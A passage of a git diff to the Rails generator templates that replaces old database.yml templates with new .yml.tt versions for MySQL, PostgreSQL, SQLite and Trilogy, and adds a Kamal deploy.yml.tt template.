-# MySQL. Versions 5.1.10 and up are supported.
-#
-# Install the MySQL driver:
-#   gem install activerecord-jdbcmysql-adapter
-#
-# Configure Using Gemfile
-# gem 'activerecord-jdbcmysql-adapter'
-#
-# And be sure to use new-style password hashing:
-#   http://dev.mysql.com/doc/refman/5.7/en/old-client.html
-#
-default: &default
-  adapter: mysql
-  pool: <%%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
-  username: root
-  password:
-  host: localhost
-
-development:
-  <<: *default
-  database: <%= app_name %>_development
-
-# Warning: The database defined as "test" will be erased and
-# re-generated from your development database when you run "rake".
-# Do not set this db to the same as development or production.
-test:
-  <<: *default
-  database: <%= app_name %>_test
-
-# As with config/secrets.yml, you never want to store sensitive information,
-# like your database password, in your source code. If your source code is
-# ever seen by anyone, they now have access to your database.
-#
-# Instead, provide the password as a unix environment variable when you boot
-# the app. Read http://guides.rubyonrails.org/configuring.html#configuring-a-database
-# for a full rundown on how to provide these environment variables in a
-# production deployment.
-#
-# On Heroku and other platform providers, you may have a full connection URL
-# available as an environment variable. For example:
-#
-#   DATABASE_URL="mysql://myuser:mypass@localhost/somedatabase"
-#
-# You can use this database configuration with:
-#
-#   production:
-#     url: <%%= ENV['DATABASE_URL'] %>
-#
-production:
-  <<: *default
-  database: <%= app_name %>_production
-  username: <%= app_name %>
-  password: <%%= ENV['<%= app_name.upcase %>_DATABASE_PASSWORD'] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcpostgresql.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcpostgresql.yml
deleted file mode 100644
index 70df04079dac1..0000000000000
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcpostgresql.yml
+++ /dev/null
@@ -1,69 +0,0 @@
-# PostgreSQL. Versions 9.1 and up are supported.
-#
-# Configure Using Gemfile
-# gem 'activerecord-jdbcpostgresql-adapter'
-#
-default: &default
-  adapter: postgresql
-  encoding: unicode
-  pool: <%%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
-
-development:
-  <<: *default
-  database: <%= app_name %>_development
-
-  # The specified database role being used to connect to postgres.
-  # To create additional roles in postgres see `$ createuser --help`.
-  # When left blank, postgres will use the default role. This is
-  # the same name as the operating system user that initialized the database.
-  #username: <%= app_name %>
-
-  # The password associated with the postgres role (username).
-  #password:
-
-  # Connect on a TCP socket. Omitted by default since the client uses a
-  # domain socket that doesn't need configuration. Windows does not have
-  # domain sockets, so uncomment these lines.
-  #host: localhost
-  #port: 5432
-
-  # Schema search path. The server defaults to $user,public
-  #schema_search_path: myapp,sharedapp,public
-
-  # Minimum log levels, in increasing order:
-  #   debug5, debug4, debug3, debug2, debug1,
-  #   log, notice, warning, error, fatal, and panic
-  # Defaults to warning.
-  #min_messages: notice
-
-# Warning: The database defined as "test" will be erased and
-# re-generated from your development database when you run "rake".
-# Do not set this db to the same as development or production.
-test:
-  <<: *default
-  database: <%= app_name %>_test
-
-# As with config/secrets.yml, you never want to store sensitive information,
-# like your database password, in your source code. If your source code is
-# ever seen by anyone, they now have access to your database.
-#
-# Instead, provide the password as a unix environment variable when you boot
-# the app. Read http://guides.rubyonrails.org/configuring.html#configuring-a-database
-# for a full rundown on how to provide these environment variables in a
-# production deployment.
-#
-# On Heroku and other platform providers, you may have a full connection URL
-# available as an environment variable. For example:
-#
-#   DATABASE_URL="postgres://myuser:mypass@localhost/somedatabase"
-#
-# You can use this database configuration with:
-#
-#   production:
-#     url: <%%= ENV['DATABASE_URL'] %>
-#
-production:
-  <<: *default
-  database: <%= app_name %>_production
-  username: <%= app_name %>
-  password: <%%= ENV['<%= app_name.upcase %>_DATABASE_PASSWORD'] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcsqlite3.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcsqlite3.yml
deleted file mode 100644
index 371415e6a81d5..0000000000000
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcsqlite3.yml
+++ /dev/null
@@ -1,24 +0,0 @@
-# SQLite version 3.x
-#   gem 'activerecord-jdbcsqlite3-adapter'
-#
-# Configure Using Gemfile
-# gem 'activerecord-jdbcsqlite3-adapter'
-#
-default: &default
-  adapter: sqlite3
-  pool: <%%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
-
-development:
-  <<: *default
-  database: db/development.sqlite3
-
-# Warning: The database defined as "test" will be erased and
-# re-generated from your development database when you run "rake".
-# Do not set this db to the same as development or production.
-test:
-  <<: *default
-  database: db/test.sqlite3
-
-production:
-  <<: *default
-  database: db/production.sqlite3
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/mysql.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/mysql.yml
deleted file mode 100644
index 269af1470d320..0000000000000
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/mysql.yml
+++ /dev/null
@@ -1,58 +0,0 @@
-# MySQL. Versions 5.1.10 and up are supported.
-#
-# Install the MySQL driver
-#   gem install mysql2
-#
-# Ensure the MySQL gem is defined in your Gemfile
-#   gem 'mysql2'
-#
-# And be sure to use new-style password hashing:
-#   http://dev.mysql.com/doc/refman/5.7/en/old-client.html
-#
-default: &default
-  adapter: mysql2
-  encoding: utf8
-  pool: <%%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
-  username: root
-  password:
-<% if mysql_socket -%>
-  socket: <%= mysql_socket %>
-<% else -%>
-  host: localhost
-<% end -%>
-
-development:
-  <<: *default
-  database: <%= app_name %>_development
-
-# Warning: The database defined as "test" will be erased and
-# re-generated from your development database when you run "rake".
-# Do not set this db to the same as development or production.
-test:
-  <<: *default
-  database: <%= app_name %>_test
-
-# As with config/secrets.yml, you never want to store sensitive information,
-# like your database password, in your source code. If your source code is
-# ever seen by anyone, they now have access to your database.
-#
-# Instead, provide the password as a unix environment variable when you boot
-# the app. Read http://guides.rubyonrails.org/configuring.html#configuring-a-database
-# for a full rundown on how to provide these environment variables in a
-# production deployment.
-#
-# On Heroku and other platform providers, you may have a full connection URL
-# available as an environment variable. For example:
-#
-#   DATABASE_URL="mysql2://myuser:mypass@localhost/somedatabase"
-#
-# You can use this database configuration with:
-#
-#   production:
-#     url: <%%= ENV['DATABASE_URL'] %>
-#
-production:
-  <<: *default
-  database: <%= app_name %>_production
-  username: <%= app_name %>
-  password: <%%= ENV['<%= app_name.upcase %>_DATABASE_PASSWORD'] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/mysql.yml.tt b/railties/lib/rails/generators/rails/app/templates/config/databases/mysql.yml.tt
new file mode 100644
index 0000000000000..85fce799b556e
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/mysql.yml.tt
@@ -0,0 +1,90 @@
+# MySQL. Versions 5.6.4 and up are supported.
+#
+# Install the MySQL driver
+#   gem install mysql2
+#
+# Ensure the MySQL gem is defined in your Gemfile
+#   gem "mysql2"
+#
+# And be sure to use new-style password hashing:
+#   https://dev.mysql.com/doc/refman/5.7/en/password-hashing.html
+#
+default: &default
+  adapter: mysql2
+  encoding: utf8mb4
+  max_connections: <%%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
+  username: root
+  password:
+<% if !devcontainer? && database.socket -%>
+  socket: <%= database.socket %>
+<% else -%>
+  host: <%%= ENV.fetch("DB_HOST") { "<%= database.host %>" } %>
+<% end -%>
+
+development:
+  <<: *default
+  database: <%= app_name %>_development
+
+# Warning: The database defined as "test" will be erased and
+# re-generated from your development database when you run "rake".
+# Do not set this db to the same as development or production.
+test:
+  <<: *default
+  database: <%= app_name %>_test
+
+# As with config/credentials.yml, you never want to store sensitive information,
+# like your database password, in your source code. If your source code is
+# ever seen by anyone, they now have access to your database.
+#
+# Instead, provide the password or a full connection URL as an environment
+# variable when you boot the app. For example:
+#
+#   DATABASE_URL="mysql2://myuser:mypass@localhost/somedatabase"
+#
+# If the connection URL is provided in the special DATABASE_URL environment
+# variable, Rails will automatically merge its configuration values on top of
+# the values provided in this file. Alternatively, you can specify a connection
+# URL environment variable explicitly:
+#
+#   production:
+#     url: <%%= ENV["MY_APP_DATABASE_URL"] %>
+#
+<%- unless options.skip_solid? -%>
+# Connection URLs for non-primary databases can also be configured using
+# environment variables. The variable name is formed by concatenating the
+# connection name with `_DATABASE_URL`. For example:
+#
+#   CACHE_DATABASE_URL="mysql2://cacheuser:cachepass@localhost/cachedatabase"
+#
+<%- end -%>
+# Read https://guides.rubyonrails.org/configuring.html#configuring-a-database
+# for a full overview on how database connection configuration can be specified.
+#
+<%- if options.skip_solid? -%>
+production:
+  <<: *default
+  database: <%= app_name %>_production
+  username: <%= app_name %>
+  password: <%%= ENV["<%= app_name.upcase %>_DATABASE_PASSWORD"] %>
+<%- else -%>
+production:
+  primary: &primary_production
+    <<: *default
+    database: <%= app_name %>_production
+    username: <%= app_name %>
+    password: <%%= ENV["<%= app_name.upcase %>_DATABASE_PASSWORD"] %>
+  cache:
+    <<: *primary_production
+    database: <%= app_name %>_production_cache
+    migrations_paths: db/cache_migrate
+  queue:
+    <<: *primary_production
+    database: <%= app_name %>_production_queue
+    migrations_paths: db/queue_migrate
+  <%- unless options.skip_action_cable? -%>
+  cable:
+    <<: *primary_production
+    database: <%= app_name %>_production_cable
+    migrations_paths: db/cable_migrate
+  <%- end -%>
+<%- end -%>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/oracle.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/oracle.yml
deleted file mode 100644
index d2499ea4fb7c5..0000000000000
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/oracle.yml
+++ /dev/null
@@ -1,59 +0,0 @@
-# Oracle/OCI 8i, 9, 10g
-#
-# Requires Ruby/OCI8:
-#  https://github.com/kubo/ruby-oci8
-#
-# Specify your database using any valid connection syntax, such as a
-# tnsnames.ora service name, or an SQL connect string of the form:
-#
-#   //host:[port][/service name]
-#
-# By default prefetch_rows (OCI_ATTR_PREFETCH_ROWS) is set to 100. And
-# until true bind variables are supported, cursor_sharing is set by default
-# to 'similar'. Both can be changed in the configuration below; the defaults
-# are equivalent to specifying:
-#
-#  prefetch_rows: 100
-#  cursor_sharing: similar
-#
-default: &default
-  adapter: oracle
-  pool: <%%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
-  username: <%= app_name %>
-  password:
-
-development:
-  <<: *default
-  database: <%= app_name %>_development
-
-# Warning: The database defined as "test" will be erased and
-# re-generated from your development database when you run "rake".
-# Do not set this db to the same as development or production.
-test:
-  <<: *default
-  database: <%= app_name %>_test
-
-# As with config/secrets.yml, you never want to store sensitive information,
-# like your database password, in your source code. If your source code is
-# ever seen by anyone, they now have access to your database.
-#
-# Instead, provide the password as a unix environment variable when you boot
-# the app. Read http://guides.rubyonrails.org/configuring.html#configuring-a-database
-# for a full rundown on how to provide these environment variables in a
-# production deployment.
-#
-# On Heroku and other platform providers, you may have a full connection URL
-# available as an environment variable. For example:
-#
-#   DATABASE_URL="oracle://myuser:mypass@localhost/somedatabase"
-#
-# You can use this database configuration with:
-#
-#   production:
-#     url: <%%= ENV['DATABASE_URL'] %>
-#
-production:
-  <<: *default
-  database: <%= app_name %>_production
-  username: <%= app_name %>
-  password: <%%= ENV['<%= app_name.upcase %>_DATABASE_PASSWORD'] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml
deleted file mode 100644
index 145cfb7f74632..0000000000000
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml
+++ /dev/null
@@ -1,85 +0,0 @@
-# PostgreSQL. Versions 9.1 and up are supported.
-#
-# Install the pg driver:
-#   gem install pg
-# On OS X with Homebrew:
-#   gem install pg -- --with-pg-config=/usr/local/bin/pg_config
-# On OS X with MacPorts:
-#   gem install pg -- --with-pg-config=/opt/local/lib/postgresql84/bin/pg_config
-# On Windows:
-#   gem install pg
-#       Choose the win32 build.
-#       Install PostgreSQL and put its /bin directory on your path.
-#
-# Configure Using Gemfile
-# gem 'pg'
-#
-default: &default
-  adapter: postgresql
-  encoding: unicode
-  # For details on connection pooling, see Rails configuration guide
-  # http://guides.rubyonrails.org/configuring.html#database-pooling
-  pool: <%%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
-
-development:
-  <<: *default
-  database: <%= app_name %>_development
-
-  # The specified database role being used to connect to postgres.
-  # To create additional roles in postgres see `$ createuser --help`.
-  # When left blank, postgres will use the default role. This is
-  # the same name as the operating system user that initialized the database.
-  #username: <%= app_name %>
-
-  # The password associated with the postgres role (username).
-  #password:
-
-  # Connect on a TCP socket. Omitted by default since the client uses a
-  # domain socket that doesn't need configuration. Windows does not have
-  # domain sockets, so uncomment these lines.
-  #host: localhost
-
-  # The TCP port the server listens on. Defaults to 5432.
-  # If your server runs on a different port number, change accordingly.
-  #port: 5432
-
-  # Schema search path. The server defaults to $user,public
-  #schema_search_path: myapp,sharedapp,public
-
-  # Minimum log levels, in increasing order:
-  #   debug5, debug4, debug3, debug2, debug1,
-  #   log, notice, warning, error, fatal, and panic
-  # Defaults to warning.
-  #min_messages: notice
-
-# Warning: The database defined as "test" will be erased and
-# re-generated from your development database when you run "rake".
-# Do not set this db to the same as development or production.
-test:
-  <<: *default
-  database: <%= app_name %>_test
-
-# As with config/secrets.yml, you never want to store sensitive information,
-# like your database password, in your source code. If your source code is
-# ever seen by anyone, they now have access to your database.
-#
-# Instead, provide the password as a unix environment variable when you boot
-# the app. Read http://guides.rubyonrails.org/configuring.html#configuring-a-database
-# for a full rundown on how to provide these environment variables in a
-# production deployment.
-#
-# On Heroku and other platform providers, you may have a full connection URL
-# available as an environment variable. For example:
-#
-#   DATABASE_URL="postgres://myuser:mypass@localhost/somedatabase"
-#
-# You can use this database configuration with:
-#
-#   production:
-#     url: <%%= ENV['DATABASE_URL'] %>
-#
-production:
-  <<: *default
-  database: <%= app_name %>_production
-  username: <%= app_name %>
-  password: <%%= ENV['<%= app_name.upcase %>_DATABASE_PASSWORD'] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml.tt b/railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml.tt
new file mode 100644
index 0000000000000..a199b8221d279
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml.tt
@@ -0,0 +1,122 @@
+# PostgreSQL. Versions 9.3 and up are supported.
+#
+# Install the pg driver:
+#   gem install pg
+# On macOS with Homebrew:
+#   gem install pg -- --with-pg-config=/opt/homebrew/bin/pg_config
+# On Windows:
+#   gem install pg
+#       Choose the win32 build.
+#       Install PostgreSQL and put its /bin directory on your path.
+#
+# Configure Using Gemfile
+# gem "pg"
+#
+default: &default
+  adapter: postgresql
+  encoding: unicode
+  # For details on connection pooling, see Rails configuration guide
+  # https://guides.rubyonrails.org/configuring.html#database-pooling
+  max_connections: <%%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
+<% if devcontainer? -%>
+  <%% if ENV["DB_HOST"] %>
+  host: <%%= ENV["DB_HOST"] %>
+  username: postgres
+  password: postgres
+  <%% end %>
+<% end %>
+
+development:
+  <<: *default
+  database: <%= app_name %>_development
+
+  # The specified database role being used to connect to PostgreSQL.
+  # To create additional roles in PostgreSQL see `$ createuser --help`.
+  # When left blank, PostgreSQL will use the default role. This is
+  # the same name as the operating system user running Rails.
+  #username: <%= app_name %>
+
+  # The password associated with the PostgreSQL role (username).
+  #password:
+
+  # Connect on a TCP socket. Omitted by default since the client uses a
+  # domain socket that doesn't need configuration. Windows does not have
+  # domain sockets, so uncomment these lines.
+  #host: localhost
+
+  # The TCP port the server listens on. Defaults to 5432.
+  # If your server runs on a different port number, change accordingly.
+  #port: 5432
+
+  # Schema search path. The server defaults to $user,public
+  #schema_search_path: myapp,sharedapp,public
+
+  # Minimum log levels, in increasing order:
+  #   debug5, debug4, debug3, debug2, debug1,
+  #   log, notice, warning, error, fatal, and panic
+  # Defaults to warning.
+  #min_messages: notice
+
+# Warning: The database defined as "test" will be erased and
+# re-generated from your development database when you run "rake".
+# Do not set this db to the same as development or production.
+test:
+  <<: *default
+  database: <%= app_name %>_test
+
+# As with config/credentials.yml, you never want to store sensitive information,
+# like your database password, in your source code. If your source code is
+# ever seen by anyone, they now have access to your database.
+#
+# Instead, provide the password or a full connection URL as an environment
+# variable when you boot the app. For example:
+#
+#   DATABASE_URL="postgres://myuser:mypass@localhost/somedatabase"
+#
+# If the connection URL is provided in the special DATABASE_URL environment
+# variable, Rails will automatically merge its configuration values on top of
+# the values provided in this file. Alternatively, you can specify a connection
+# URL environment variable explicitly:
+#
+#   production:
+#     url: <%%= ENV["MY_APP_DATABASE_URL"] %>
+#
+<%- unless options.skip_solid? -%>
+# Connection URLs for non-primary databases can also be configured using
+# environment variables. The variable name is formed by concatenating the
+# connection name with `_DATABASE_URL`. For example:
+#
+#   CACHE_DATABASE_URL="postgres://cacheuser:cachepass@localhost/cachedatabase"
+#
+<%- end -%>
+# Read https://guides.rubyonrails.org/configuring.html#configuring-a-database
+# for a full overview on how database connection configuration can be specified.
+#
+<%- if options.skip_solid? -%>
+production:
+  <<: *default
+  database: <%= app_name %>_production
+  username: <%= app_name %>
+  password: <%%= ENV["<%= app_name.upcase %>_DATABASE_PASSWORD"] %>
+<%- else -%>
+production:
+  primary: &primary_production
+    <<: *default
+    database: <%= app_name %>_production
+    username: <%= app_name %>
+    password: <%%= ENV["<%= app_name.upcase %>_DATABASE_PASSWORD"] %>
+  cache:
+    <<: *primary_production
+    database: <%= app_name %>_production_cache
+    migrations_paths: db/cache_migrate
+  queue:
+    <<: *primary_production
+    database: <%= app_name %>_production_queue
+    migrations_paths: db/queue_migrate
+  <%- unless options.skip_action_cable? -%>
+  cable:
+    <<: *primary_production
+    database: <%= app_name %>_production_cable
+    migrations_paths: db/cable_migrate
+  <%- end -%>
+<%- end -%>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/sqlite3.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/sqlite3.yml
deleted file mode 100644
index 9510568124cc3..0000000000000
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/sqlite3.yml
+++ /dev/null
@@ -1,25 +0,0 @@
-# SQLite version 3.x
-#   gem install sqlite3
-#
-#   Ensure the SQLite 3 gem is defined in your Gemfile
-#   gem 'sqlite3'
-#
-default: &default
-  adapter: sqlite3
-  pool: <%%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
-  timeout: 5000
-
-development:
-  <<: *default
-  database: db/development.sqlite3
-
-# Warning: The database defined as "test" will be erased and
-# re-generated from your development database when you run "rake".
-# Do not set this db to the same as development or production.
-test:
-  <<: *default
-  database: db/test.sqlite3
-
-production:
-  <<: *default
-  database: db/production.sqlite3
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/sqlite3.yml.tt b/railties/lib/rails/generators/rails/app/templates/config/databases/sqlite3.yml.tt
new file mode 100644
index 0000000000000..7afb42b035d5e
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/sqlite3.yml.tt
@@ -0,0 +1,81 @@
+# SQLite. Versions 3.8.0 and up are supported.
+#   gem install sqlite3
+#
+#   Ensure the SQLite 3 gem is defined in your Gemfile
+#   gem "sqlite3"
+#
+default: &default
+  adapter: sqlite3
+  max_connections: <%%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
+  timeout: 5000
+
+development:
+  <<: *default
+  database: storage/development.sqlite3
+
+# Warning: The database defined as "test" will be erased and
+# re-generated from your development database when you run "rake".
+# Do not set this db to the same as development or production.
+test:
+  <<: *default
+  database: storage/test.sqlite3
+
+<%- if options.skip_kamal? -%>
+# SQLite3 write its data on the local filesystem, as such it requires
+# persistent disks. If you are deploying to a managed service, you should
+# make sure it provides disk persistence, as many don't.
+#
+# Similarly, if you deploy your application as a Docker container, you must
+# ensure the database is located in a persisted volume.
+<%- if options.skip_solid? -%>
+production:
+  <<: *default
+  # database: path/to/persistent/storage/production.sqlite3
+<%- else -%>
+production:
+  primary:
+    <<: *default
+    # database: path/to/persistent/storage/production.sqlite3
+  cache:
+    <<: *default
+    # database: path/to/persistent/storage/production_cache.sqlite3
+    migrations_paths: db/cache_migrate
+  queue:
+    <<: *default
+    # database: path/to/persistent/storage/production_queue.sqlite3
+    migrations_paths: db/queue_migrate
+  <%- unless options.skip_action_cable? -%>
+  cable:
+    <<: *default
+    # database: path/to/persistent/storage/production_cable.sqlite3
+    migrations_paths: db/cable_migrate
+  <%- end -%>
+<%- end -%>
+<%- else -%>
+# Store production database in the storage/ directory, which by default
+# is mounted as a persistent Docker volume in config/deploy.yml.
+<%- if options.skip_solid? -%>
+production:
+  <<: *default
+  database: storage/production.sqlite3
+<%- else -%>
+production:
+  primary:
+    <<: *default
+    database: storage/production.sqlite3
+  cache:
+    <<: *default
+    database: storage/production_cache.sqlite3
+    migrations_paths: db/cache_migrate
+  queue:
+    <<: *default
+    database: storage/production_queue.sqlite3
+    migrations_paths: db/queue_migrate
+  <%- unless options.skip_action_cable? -%>
+  cable:
+    <<: *default
+    database: storage/production_cable.sqlite3
+    migrations_paths: db/cable_migrate
+  <%- end -%>
+<%- end -%>
+<%- end -%>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/sqlserver.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/sqlserver.yml
deleted file mode 100644
index a21555e5733fb..0000000000000
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/sqlserver.yml
+++ /dev/null
@@ -1,52 +0,0 @@
-# SQL Server (2012 or higher recommended)
-#
-# Install the adapters and driver
-#   gem install tiny_tds
-#   gem install activerecord-sqlserver-adapter
-#
-# Ensure the activerecord adapter and db driver gems are defined in your Gemfile
-#   gem 'tiny_tds'
-#   gem 'activerecord-sqlserver-adapter'
-#
-default: &default
-  adapter: sqlserver
-  encoding: utf8
-  username: sa
-  password: <%= ENV['SA_PASSWORD'] %>
-  host: localhost
-
-development:
-  <<: *default
-  database: <%= app_name %>_development
-
-# Warning: The database defined as "test" will be erased and
-# re-generated from your development database when you run "rake".
-# Do not set this db to the same as development or production.
-test:
-  <<: *default
-  database: <%= app_name %>_test
-
-# As with config/secrets.yml, you never want to store sensitive information,
-# like your database password, in your source code. If your source code is
-# ever seen by anyone, they now have access to your database.
-#
-# Instead, provide the password as a unix environment variable when you boot
-# the app. Read http://guides.rubyonrails.org/configuring.html#configuring-a-database
-# for a full rundown on how to provide these environment variables in a
-# production deployment.
-#
-# On Heroku and other platform providers, you may have a full connection URL
-# available as an environment variable. For example:
-#
-#   DATABASE_URL="sqlserver://myuser:mypass@localhost/somedatabase"
-#
-# You can use this database configuration with:
-#
-#   production:
-#     url: <%%= ENV['DATABASE_URL'] %>
-#
-production:
-  <<: *default
-  database: <%= app_name %>_production
-  username: <%= app_name %>
-  password: <%%= ENV['<%= app_name.upcase %>_DATABASE_PASSWORD'] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/trilogy.yml.tt b/railties/lib/rails/generators/rails/app/templates/config/databases/trilogy.yml.tt
new file mode 100644
index 0000000000000..8a6c110ffeadc
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/trilogy.yml.tt
@@ -0,0 +1,90 @@
+# MySQL. Versions 5.6.4 and up are supported.
+#
+# Install the MySQL driver
+#   gem install trilogy
+#
+# Ensure the MySQL gem is defined in your Gemfile
+#   gem "trilogy"
+#
+# And be sure to use new-style password hashing:
+#   https://dev.mysql.com/doc/refman/5.7/en/password-hashing.html
+#
+default: &default
+  adapter: trilogy
+  encoding: utf8mb4
+  max_connections: <%%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
+  username: root
+  password:
+<% if !devcontainer? && database.socket -%>
+  socket: <%= database.socket %>
+<% else -%>
+  host: <%%= ENV.fetch("DB_HOST") { "<%= database.host %>" } %>
+<% end -%>
+
+development:
+  <<: *default
+  database: <%= app_name %>_development
+
+# Warning: The database defined as "test" will be erased and
+# re-generated from your development database when you run "rake".
+# Do not set this db to the same as development or production.
+test:
+  <<: *default
+  database: <%= app_name %>_test
+
+# As with config/credentials.yml, you never want to store sensitive information,
+# like your database password, in your source code. If your source code is
+# ever seen by anyone, they now have access to your database.
+#
+# Instead, provide the password or a full connection URL as an environment
+# variable when you boot the app. For example:
+#
+#   DATABASE_URL="trilogy://myuser:mypass@localhost/somedatabase"
+#
+# If the connection URL is provided in the special DATABASE_URL environment
+# variable, Rails will automatically merge its configuration values on top of
+# the values provided in this file. Alternatively, you can specify a connection
+# URL environment variable explicitly:
+#
+#   production:
+#     url: <%%= ENV["MY_APP_DATABASE_URL"] %>
+#
+<%- unless options.skip_solid? -%>
+# Connection URLs for non-primary databases can also be configured using
+# environment variables. The variable name is formed by concatenating the
+# connection name with `_DATABASE_URL`. For example:
+#
+#   CACHE_DATABASE_URL="trilogy://cacheuser:cachepass@localhost/cachedatabase"
+#
+<%- end -%>
+# Read https://guides.rubyonrails.org/configuring.html#configuring-a-database
+# for a full overview on how database connection configuration can be specified.
+#
+<%- if options.skip_solid? -%>
+production:
+  <<: *default
+  database: <%= app_name %>_production
+  username: <%= app_name %>
+  password: <%%= ENV["<%= app_name.upcase %>_DATABASE_PASSWORD"] %>
+<%- else -%>
+production:
+  primary: &primary_production
+    <<: *default
+    database: <%= app_name %>_production
+    username: <%= app_name %>
+    password: <%%= ENV["<%= app_name.upcase %>_DATABASE_PASSWORD"] %>
+  cache:
+    <<: *primary_production
+    database: <%= app_name %>_production_cache
+    migrations_paths: db/cache_migrate
+  queue:
+    <<: *primary_production
+    database: <%= app_name %>_production_queue
+    migrations_paths: db/queue_migrate
+  <%- unless options.skip_action_cable? -%>
+  cable:
+    <<: *primary_production
+    database: <%= app_name %>_production_cable
+    migrations_paths: db/cable_migrate
+  <%- end -%>
+<%- end -%>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/deploy.yml.tt b/railties/lib/rails/generators/rails/app/templates/config/deploy.yml.tt
new file mode 100644
index 0000000000000..678fb3839e157
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/deploy.yml.tt
@@ -0,0 +1,135 @@
+# Name of your application. Used to uniquely configure containers.
+service: <%= app_name %>
+
+# Name of the container image (use your-user/app-name on external registries).
+image: <%= app_name %>
+
+# Deploy to these servers.
+servers:
+  web:
+    - 192.168.0.1
+  # job:
+  #   hosts:
+  #     - 192.168.0.1
+  #   cmd: bin/jobs
+
+# Enable SSL auto certification via Let's Encrypt and allow for multiple apps on a single web server.
+# If used with Cloudflare, set encryption mode in SSL/TLS setting to "Full" to enable CF-to-app encryption.
+#
+# Using an SSL proxy like this requires turning on config.assume_ssl and config.force_ssl in production.rb!
+#
+# Don't use this when deploying to multiple web servers (then you have to terminate SSL at your load balancer).
+#
+# proxy:
+#   ssl: true
+#   host: app.example.com
+
+# Where you keep your container images.
+registry:
+  # Alternatives: hub.docker.com / registry.digitalocean.com / ghcr.io / ...
+  server: localhost:5555
+
+  # Needed for authenticated registries.
+  # username: your-user
+
+  # Always use an access token rather than real password when possible.
+  # password:
+  #   - KAMAL_REGISTRY_PASSWORD
+
+# Inject ENV variables into containers (secrets come from .kamal/secrets).
+env:
+  secret:
+    - RAILS_MASTER_KEY
+<% if skip_solid? -%>
+  # clear:
+  #   # Set number of cores available to the application on each server (default: 1).
+  #   WEB_CONCURRENCY: auto
+
+  #   # Match this to any external database server to configure Active Record correctly
+  #   DB_HOST: 192.168.0.2
+
+  #   # Log everything from Rails
+  #   RAILS_LOG_LEVEL: debug
+<% else -%>
+  clear:
+    # Run the Solid Queue Supervisor inside the web server's Puma process to do jobs.
+    # When you start using multiple servers, you should split out job processing to a dedicated machine.
+    SOLID_QUEUE_IN_PUMA: true
+
+    # Set number of processes dedicated to Solid Queue (default: 1)
+    # JOB_CONCURRENCY: 3
+
+    # Set number of cores available to the application on each server (default: 1).
+    # WEB_CONCURRENCY: 2
+
+    # Match this to any external database server to configure Active Record correctly
+    # Use <%= app_name %>-db for a db accessory server on same machine via local kamal docker network.
+    # DB_HOST: 192.168.0.2
+
+    # Log everything from Rails
+    # RAILS_LOG_LEVEL: debug
+<% end -%>
+
+# Aliases are triggered with "bin/kamal <alias>". You can overwrite arguments on invocation:
+# "bin/kamal logs -r job" will tail logs from the first server in the job section.
+aliases:
+  console: app exec --interactive --reuse "bin/rails console"
+  shell: app exec --interactive --reuse "bash"
+  logs: app logs -f
+  dbc: app exec --interactive --reuse "bin/rails dbconsole --include-password"
+
+<% unless skip_storage? -%>
+# Use a persistent storage volume for sqlite database files and local Active Storage files.
+# Recommended to change this to a mounted volume path that is backed up off server.
+volumes:
+  - "<%= app_name %>_storage:/rails/storage"
+
+<% end -%>
+<% unless options.api? -%>
+# Bridge fingerprinted assets, like JS and CSS, between versions to avoid
+# hitting 404 on in-flight requests. Combines all files from new and old
+# version inside the asset_path.
+asset_path: /rails/public/assets
+<% end -%>
+
+# Configure the image builder.
+builder:
+  arch: amd64
+
+  # # Build image via remote server (useful for faster amd64 builds on arm64 computers)
+  # remote: ssh://docker@docker-builder-server
+  #
+  # # Pass arguments and secrets to the Docker build process
+  # args:
+  #   RUBY_VERSION: <%= Gem.ruby_version %>
+  # secrets:
+  #   - GITHUB_TOKEN
+  #   - RAILS_MASTER_KEY
+
+# Use a different ssh user than root
+# ssh:
+#   user: app
+
+# Use accessory services (secrets come from .kamal/secrets).
+# accessories:
+#   db:
+#     image: mysql:8.0
+#     host: 192.168.0.2
+#     # Change to 3306 to expose port to the world instead of just local network.
+#     port: "127.0.0.1:3306:3306"
+#     env:
+#       clear:
+#         MYSQL_ROOT_HOST: '%'
+#       secret:
+#         - MYSQL_ROOT_PASSWORD
